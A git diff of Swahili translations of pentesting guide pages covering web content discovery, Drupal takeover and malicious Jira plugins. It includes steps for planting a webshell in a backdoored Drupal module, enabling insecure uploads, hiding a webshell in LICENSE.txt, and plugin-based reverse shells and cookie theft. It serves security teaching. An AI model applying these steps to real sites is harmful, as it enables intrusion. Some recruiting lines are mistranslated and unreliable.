* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juicy".
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za kuvutia".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuonyesha JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajumuishwa.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameter na kuziorodhesha.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuonyesha JS.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameta na kuziorodhesha.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuunda JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, red teamers, infosec ninjas.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na ninjas wa infosec.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida ili kupata na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pata ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakua ukurasa.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na params katika faili za JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kinapewa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kinapotoa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Vinjari (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni GUI ya hali ya juu ya usalama wa wavuti Crawler/Spider iliyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) kwa kutolewa kwa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutolewa kwa paramters na mwisho** kutoka kwa ombi ili kuunda orodha maalum ya maneno kwa fuzzing na orodha.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutolewa kwa parameta na mwisho** kutoka kwa ombi ili kuunda orodha maalum ya maneno kwa fuzzing na orodha.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **recursively** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** za **directories zilizopatikana** kwa kutumia **hii mbinu** na zote za directories **zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Zana:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **pole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Pole sana ikilinganishwa na chaguzi nyingine.
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **recursive** search.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **utaftaji wa kurudiwa**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kinapewa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kinapotoa orodha ya URLs zilizopatikana itafuta "URLs zilizojirudia".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia.
|
||||
|
@ -289,16 +289,16 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
|||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
|
||||
* **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameters zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameters zilizofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
|
||||
* _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwezekana, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
|
||||
* _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comments:** Angalia maoni ya faili zote, unaweza kupata **credentials** au **ufunctionality iliyofichwa**.
|
||||
* Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** **miyingi** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
* Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
* **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoonyesha jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API keys: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia APIs ambazo funguo hiyo inaweza kufikia.
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **permissions** za bucket](buckets/).
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/).
|
||||
|
||||
### Special findings
|
||||
|
||||
|
@ -317,7 +317,7 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
|||
* **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Katika matukio kadhaa utahitaji **kuelewa kanuni za kawaida** zinazotumika, hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com)
|
||||
* Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
* Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -331,9 +331,9 @@ Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na
|
|||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **credentials** zako (na kuomba **domain** **name**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
**Tuma** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayohitaji **credentials** zako (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kujiandaa** hii kwa kutumia **kiendelezi cha nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
|
@ -341,7 +341,7 @@ Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataony
|
|||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa, ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -357,7 +357,7 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
|
|||
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunaajiri!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
|
|||
## With PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/vidokezo kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
|
||||
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha `PHP filter` module**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
|
||||
{% endhint %}
|
||||
|
||||
Unahitaji **plugin ya php iwe imewekwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijawekwa**)
|
||||
|
@ -57,7 +57,7 @@ Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa
|
|||
|
||||
Moduli yenye backdoor inaweza kuundwa kwa **kuongeza shell kwenye moduli iliyopo**. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Hebu chague moduli kama [CAPTCHA](https://www.drupal.org/project/captcha). Piga chini na nakili kiungo cha tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Pakua archive na uondoe yaliyomo.
|
||||
* Pakua archive na kutoa maudhui yake.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
|
@ -81,7 +81,7 @@ mv shell.php .htaccess captcha
|
|||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Ikiwa tuna **ufikiaji wa kiutawala** kwenye tovuti, bonyeza **`Manage`** kisha **`Extend`** kwenye upande wa kushoto. Kisha, bonyeza kitufe cha **`+ Install new module`**, na tutapelekwa kwenye ukurasa wa usakinishaji, kama `http://drupal-site.local/admin/modules/install` Tembelea archive ya Captcha iliyo na backdoor na bonyeza **`Install`**.
|
||||
* Mara baada ya usakinishaji kufanikiwa, tembelea **`/modules/captcha/shell.php`** ili kutekeleza amri.
|
||||
* Mara usakinishaji unapofanikiwa, tembelea **`/modules/captcha/shell.php`** ili kutekeleza amri.
|
||||
|
||||
## Backdooring Drupal kwa kutumia Usawazishaji wa Mipangilio <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
|
@ -91,26 +91,26 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
Katika menyu ya _Extend_ (/admin/modules), unaweza kuanzisha kile kinachoweza kuonekana kama plugins ambazo tayari zimesakinishwa. Kwa kawaida, plugins _Media_ na _Media Library_ hazionekani kuanzishwa, hivyo hebu tuzianzishe.
|
||||
|
||||
Kabla ya kuanzisha:
|
||||
Kabla ya kuanzishwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Baada ya kuanzisha:
|
||||
Baada ya kuanzishwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Sehemu ya 2 (kutumia kipengele _Usawazishaji wa Mipangilio_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Tutatumia kipengele _Usawazishaji wa Mipangilio_ kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal:
|
||||
Tutatumia kipengele _Usawazishaji wa Mipangilio_ ili kutupa (kuagiza) na kupakia (kuingiza) entries za mipangilio ya Drupal:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
||||
**Patch system.file.yml**
|
||||
|
||||
Hebu tuanze kwa kupatch entry ya kwanza `allow_insecure_uploads` kutoka:
|
||||
Hebu tuanze kwa kupachika entry ya kwanza `allow_insecure_uploads` kutoka:
|
||||
|
||||
File: system.file.yml
|
||||
```
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -243,7 +243,7 @@ Kwanza, tunatumia kipengele _Add Document_ (/media/add/document) kupakia faili y
|
|||
|
||||
**Sehemu ya 3.2 (pakia faili LICENSE.txt)**
|
||||
|
||||
Kisha, tunatumia kipengele _Add Document_ (/media/add/document) tena kupakia Webshell iliyofichwa ndani ya faili la leseni.
|
||||
Kisha, tunatumia tena kipengele _Add Document_ (/media/add/document) kupakia Webshell iliyofichwa ndani ya faili la leseni.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -263,7 +263,7 @@ Wakati mshambuliaji anapoweka cookie, anaweza kuwasiliana na Webshell na kutekel
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na kama unavyoona katika kumbukumbu, inaonekana kama faili tu ya txt imeombwa.
|
||||
Na kama unavyoona katika kumbukumbu, inaonekana kama faili ya txt pekee ndiyo imeombwa.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -81,7 +81,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
|
||||
## Atlasian Plugins
|
||||
|
||||
Kama ilivyoonyeshwa katika [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins) hii, katika hati kuhusu [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) inawezekana kuangalia aina tofauti za plugins, kama:
|
||||
Kama ilivyoonyeshwa katika [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), katika nyaraka kuhusu [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) inawezekana kuangalia aina tofauti za plugins, kama:
|
||||
|
||||
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Fichua ncha za API za RESTful
|
||||
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Weka servlets za Java kama sehemu ya plugin
|
||||
|
@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
Inawezekana kuona kwamba hizi plugins zinaweza kuwa na udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarejesha data iliyotolewa na mtumiaji. 
|
||||
Inapatikana kuangalia kwamba hizi plugins zinaweza kuwa na udhaifu kwa udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarejelea data iliyotolewa na mtumiaji. 
|
||||
|
||||
Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) unaweza kupata baadhi ya payloads za kuongeza athari za XSS.
|
||||
|
||||
|
@ -120,24 +120,24 @@ Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllecti
|
|||
|
||||
[**Post hii**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) inaelezea vitendo tofauti (vibaya) ambavyo vinaweza kufanywa na plugin mbaya ya Jira. Unaweza kupata [**mfano wa msimbo katika repo hii**](https://github.com/cyllective/malfluence).
|
||||
|
||||
Hizi ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
|
||||
Haya ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
|
||||
|
||||
* **Kuficha Plugins kutoka kwa Wasimamizi**: Inawezekana kuficha plugin mbaya kwa kuingiza javascript ya mbele.
|
||||
* **Kutoa Nyaraka na Kurasa**: Ruhusu kufikia na kutoa data yote.
|
||||
* **Kuhujumu Token za Kikao**: Ongeza mwisho ambao utaecho vichwa katika jibu (pamoja na cookie) na javascript fulani ambayo itawasiliana nayo na kutoa cookies.
|
||||
* **Kuchukua Viambatisho na Kurasa**: Ruhusu kufikia na kuchukua data yote.
|
||||
* **Kuhujumu Tokens za Kikao**: Ongeza mwisho ambao utaecho vichwa katika jibu (pamoja na cookie) na javascript fulani ambayo itawasiliana nayo na kuvuja cookies.
|
||||
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza msimbo.
|
||||
* **Reverse Shell**: Au kupata reverse shell.
|
||||
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva kutekeleza amri kupitia hiyo.
|
||||
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva inayotekeleza amri kupitia hiyo.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
